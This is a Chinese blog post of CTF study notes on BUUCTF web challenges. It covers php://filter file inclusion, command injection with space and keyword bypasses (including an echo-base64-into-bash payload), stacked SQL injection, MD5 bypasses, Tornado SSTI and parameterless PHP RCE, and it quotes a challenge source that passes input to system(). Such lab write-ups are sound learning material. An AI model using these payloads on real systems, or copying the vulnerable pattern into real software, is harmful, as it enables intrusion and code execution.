buuctf刷题记录


buuctf刷题记录1:


  • ps:本来以为刷完靶场能会做一些题目,但是还是太天真了,题目和靶场压根不是一回事,道阻且长QAQ,还是继续做题吧……不过看起来pwn和web还是差很多的,如果pwn少写几步博客就完全看不懂,于是我决定从这篇博客开始我写的会稍微简单一点,但会在每题的后面附上做题完整链接,博客嘛主要是笔记作用,重在刷题和记思路。

0x01 [ACTF2020 新生赛]Include 1(文件包含)


这题涉及到文件包含的小知识点

  • php://filter与包含函数结合时,php://filter流会被当作php文件执行。
    所以我们一般对其进行编码,让其不执行。从而导致任意文件读取。

  • php://filter 伪协议文件包含读取源代码,加上read=convert.base64-encode,
    用base64编码输出,不然会直接当做php代码执行,看不到源代码内容。

    1、是格式
    2、是可选参数,有read和write,字面意思就是读和写
    3、是过滤器。主要有四种:字符串过滤器,转换过滤器,压缩过滤器,加密过滤器。filter里可以用一或多个过
    滤器(中间用|隔开),这也为解题提供了多种方法,灵活运用过滤器是解题的关键。这里的过滤器是把文件
    flag.php里的代码转换(convert)为base64编码(encode)
    4、是必选参数,后面写你要处理的文件名

    这样可以让源码以base64的编码输出出来,然后我们去解码就行了,最关键是思路:这里没有任何东西,只有一个flag.php文件,内容没有东西那就是源码了
    做题链接

0x02 [ACTF2020 新生赛]Exec 1(命令注入)


对于a & b,既执行a的命令也执行b的命令,将任务置于后台执行;
对于a && b,在a执行成功的情况下执行b,a执行失败就不会执行b,和逻辑与一样;
对于a | b,“|”为管道符,它将a执行的结果作为b的输入,因此无论a执行结果如何,都会执行b;
对于a || b,在a执行失败的情况下执行b,a执行成功则不会执行b,和逻辑或一样;
对于a;b,在Linux系统下会将a和b都执行,前面的执行完执行后面的;

这里是commend命令注入,在xss中有提到,这里实战还是记录一下过程:
1、先ping本地地址127.0.0.1,发现能成功
2、然后直接查目录:127.0.0.1&ls,出现了index.php,访问一下把原页面刷新了一下没有东西
3、尝试linux系统,127.0.0.1&ls /,出现了许多文件看到了flag文件,在pwn里就是直接cat flag就好了但是……
4、在kali中相当于还没访问root总文件夹,需要127.0.0.1&cat /flag就成了
补充:
链接

0x03 [GXYCTF2019]Ping Ping Ping 1(命令注入)

发现一个规律,这些题目都挺喜欢把flag放在php文件里并注释掉,这样就可以不让flag输出在网页上,而我们通常的思路都是要读源码就能找到这玩意,并且题目给的任何提示都是有用的比如这边的?ip=就是叫我们用这个当做变量上传参数,以及后来的绕过啊什么的都有提示,并且这里又是linux的操作系统

绕过空格的方法:

${IFS}$9
{IFS}
$IFS
${IFS}
$IFS$1 //$1改成$加其他数字貌似都行
IFS
< 
<> 
{cat,flag.php}  //用逗号实现了空格功能,需要用{}括起来
%20   (space)
%09   (tab)
X=$'cat\x09./flag.php';$X       (\x09表示tab,也可以用\x20)
?ip=127.0.0.1;cat$IFS$9`ls`
$IFS在Linux下表示为空格
$9是当前系统shell进程第九个参数持有者,始终为空字符串,$后可以接任意数字

这里$IFS$9或$IFS垂直,后面加个$与{}类似,起截断作用

还涉及到一些知识比如这里的base64绕过命令:?ip=127.0.0.1;echo$IFS$1"Y2F0IGZsYWcucGhw"|$IFS$1base64$IFS$1-d$IFS$1|$IFS$1bash给出文章解释
还有这题大多数的解法变量绕过:?ip=127.0.0.1;a=g;cat$IFS$1fla$a.php
并且还有不出现flag的方法绕过:?ip=127.0.0.1;cat$IFS$9ls 使用 $IFS$9绕过空格,配合「反引号」的高优先级特性查看 flag.php 文件(将ls的结果当成cat的参数,那样就不用出现flag这个参数了) 这个ls是有带反引号的因为Markdown语法被识别成了代码
解题参考1
解题参考2
感谢老师傅的解答

0x04 [强网杯 2019]随便注 1(堆叠注入)


ps:不是我就在想啊靶场是什么玩意啊,实战题都是什么牛马啊,我不理解并且大为震撼怎么会有这么多的注入姿势啊???
直接给出参考链接这个最全了
四个方法:
1、预编译拼接法
2、预编译进制法
3、更改表名法
4、handle特殊法
解释都在链接里了

0x05 [SUCTF 2019]EasySQL 1(堆叠注入)


每个小白看完wp都会觉得离谱的猜测代码做法,代码拼接后的逻辑我理解,这里主要记录下这种注入语句:select *,1||flag from Flag,还有第二种堆叠注入的方法要设置参数,也记录一下

sql_mode 设置了 PIPES_AS_CONCAT 时,|| 就是字符串连接符,相当于CONCAT() 函数
当 sql_mode 没有设置 PIPES_AS_CONCAT 时 (默认没有设置),|| 就是逻辑或,相当于OR函数

1;set sql_mode=PIPES_AS_CONCAT;select 1拼接完相当于select 1;set sql_mode=PIPES_AS_CONCAT;select 1||flag from Flag
具体做法看这篇博客

0x06 [BJDCTF2020]Easy MD5 1


ps:对于这题主要记录php中的MD5函数如何绕过判断,以及这个比较骚的select * from ‘admin’ where password =md5($pass,ture)绕过


select * from ‘admin’ where password =md5($pass,ture)构造password=’ ‘or’数字’就可以得到select * from ‘admin’ where password =‘ ’or永真实现绕过,记录MD5字符串:ffifdyop,加密后会变成’or’6XXXXXXXXX 正好
对于弱比较:md5(a)==md5(b)或强比较md5(a)===md5(b)绕过判断,可以根据md5函数对数组不可加密来绕过,构造$a:a[]=1和$b:b[]=2都会返回null,即null=null就可以了,对于弱比较还可以通过科学计数法来绕过,0eXXXX=0eXX,即0的几次方都等于0,强比较好像不行,给出两个加密后会等于这个格式的字符串QNKCDZOs878926199a
参考链接1
参考链接2

0x07 [护网杯 2018]easy_tornado 1(模板注入)


  • ps:对于这题需要的前置知识比较多涉及到web的tornado框架的理解,老实说这题做的意义在搜资料了,没了解根本做不出来,网上的wp也写的不清不楚关健的地方一笔带过,感觉payload的构造真的要有这方面经验才懂,然后模模糊糊了解了下模板注入TTSI,就没然后了,哎重在学吧。

漏洞成因就是服务端接收了用户的恶意输入以后,未经任何处理就将其作为 Web 应用模板内容的一部分,模板引擎在进行目标编译渲染的过程中,执行了用户插入的可以破坏模板的语句,因而可能导致了敏感信息泄露、代码执行、GetShell 等问题。其影响范围主要取决于模版引擎的复杂性。凡是使用模板的地方都可能会出现 SSTI 的问题,SSTI 不属于任何一种语言。

同常规的 SQL 注入检测,XSS 检测一样,模板注入漏洞的检测也是向传递的参数中承载特定 Payload 并根据返回的内容来进行判断的。简单来说,就是更改请求参数使之承载含有模板引擎语法的 Payload,通过页面渲染返回的内容检测承载的 Payload 是否有得到编译解析,有解析则可以判定含有 Payload 对应模板引擎注入,否则不存在 SSTI。

在web页面的源代码中看到了诸如以下的字符,就可以推断网站使用了某些模板引擎来呈现数据:

<div>{$what}</div>
<p>Welcome, {{username}}</p>
<div>{%$a%}</div>
通过注入了探测字符串 ${{123+456}},以查看应用程序是否进行了相应的计算,如果返回了579那么则存在TTSI,这符合它们对于 {{ }} 的处理方式

TTSI参考文章


尝试了error?msg=1,发现的确存在模块注入,然后其他什么+-*/好像都会报错,这里出来个payload:?msg{handler.settings}tornado在搭建一个网站时,肯定会有多个handler,而这些handler都是RequestHandler的子类,RequestHandler.settings又指向self.application.settings。所以我们可以说handler.settings指向了RequestHandler.settings了,其实和没讲一样,它只是和你说了有这玩意而已,还是不理解。这里涉及到一个filehash,filehash要和文件匹配才能访问文件,是一种保护机制就像是文件的密码。本题告诉你flag名,关健就是求他的filehash值,它也告诉你了filehash的计算公式,剩下的就是找。
参考链接1
参考链接2

0x08 [BJDCTF2020]ZJCTF,不过如此 1(正则匹配)


preg_replace()的/e模式存在命令执行漏洞,第二个参数将被当作代码执行。
做题参考
大哥补充

0x09 [GXYCTF2019]禁止套娃 1(rce漏洞)


if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp']))这个式子他会递归调用当前的正则表达式。也就是说会出现\w+((?R)?),\w+(\w+((?R)?))的情况,假设传入a(b());最后会被替换成只要构造的函数满足这个形式就可以了,像var_dump(scandir(‘.’));,会被替换成.;不满足要求,这种带?R的是典型的无参数函数效验

payload:
print_r(array_rand(array_flip(scandir(current(localeconv())))));
array_rand()函数可以随机读取一个数组键,array_flip()又可以将数组中的键和值进行对换。
getchwd() 函数返回当前工作目录。
scandir() 函数返回指定目录中的文件和目录的数组。
dirname() 函数返回路径中的目录部分。
chdir() 函数改变当前的目录。
readfile() 输出一个文件。
current() 返回数组中的当前单元, 默认取第一个值。
pos() current() 的别名。
next() 函数将内部指针指向数组中的下一个元素,并输出。
end() 将内部指针指向数组中的最后一个元素,并输出。
array_rand() 函数返回数组中的随机键名,或者如果您规定函数返回不只一个键名,则返回包含随机键名的数组。
array_flip() array_flip() 函数用于反转/交换数组中所有的键名以及它们关联的键值。
array_slice() 函数在数组中根据条件取出一段值,并返回。
array_reverse() 函数返回翻转顺序的数组。
chr() 函数从指定的 ASCII 值返回字符。
hex2bin() — 转换十六进制字符串为二进制字符串。
getenv() 获取一个环境变量的值(在7.1之后可以不给予参数)。
localeconv() 函数返回一包含本地数字及货币格式信息的数组。

无参数RCE总结

0x0A [WUSTCTF2020]朴实无华 1


在没有有效信息时:

  • 1、查看源码
  • 2、抓包看头部信息
  • 3、考虑git泄露
  • 4、扫描
  • 5、考虑模板注入

<?php
header('Content-type:text/html;charset=utf-8');
error_reporting(0);
highlight_file(__file__);


//level 1
if (isset($_GET['num'])){
    $num = $_GET['num'];
    if(intval($num) < 2020 && intval($num + 1) > 2021){
        echo "我不经意间看了看我的劳力士, 不是想看时间, 只是想不经意间, 让你知道我过得比你好.</br>";
    }else{
        die("金钱解决不了穷人的本质问题");
    }
}else{
    die("去非洲吧");
}
//level 2
if (isset($_GET['md5'])){
   $md5=$_GET['md5'];
   if ($md5==md5($md5))
       echo "想到这个CTFer拿到flag后, 感激涕零, 跑去东澜岸, 找一家餐厅, 把厨师轰出去, 自己炒两个拿手小菜, 倒一杯散装白酒, 致富有道, 别学小暴.</br>";
   else
       die("我赶紧喊来我的酒肉朋友, 他打了个电话, 把他一家安排到了非洲");
}else{
    die("去非洲吧");
}

//get flag
if (isset($_GET['get_flag'])){
    $get_flag = $_GET['get_flag'];
    if(!strstr($get_flag," ")){
        $get_flag = str_ireplace("cat", "wctf2020", $get_flag);
        echo "想到这里, 我充实而欣慰, 有钱人的快乐往往就是这么的朴实无华, 且枯燥.</br>";
        system($get_flag);
    }else{
        die("快到非洲了");
    }
}else{
    die("去非洲吧");
}
?> 

第一次绕过:intval函数参数填入科学计数法的字符串,会以e前面的数字作为返回值而对于科学计数法+数字则会返回字符串类型(只适用php7.0以下的版本),假如num=1e10,$num = $_GET[‘num’];传入这边时是字符串,所以intval($num) == 1;intval($num + 1);这边时虽然传入的还是字符串但和一相加时会转化为int类型1410065409;

第二次绕过md5=0e215962017加密后还是以0e开头

第三次绕过cat可以用tac替换,空格用$IFS$9替换
参考链接1
参考链接2


文章作者: 矢坕
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 矢坕 !
  目录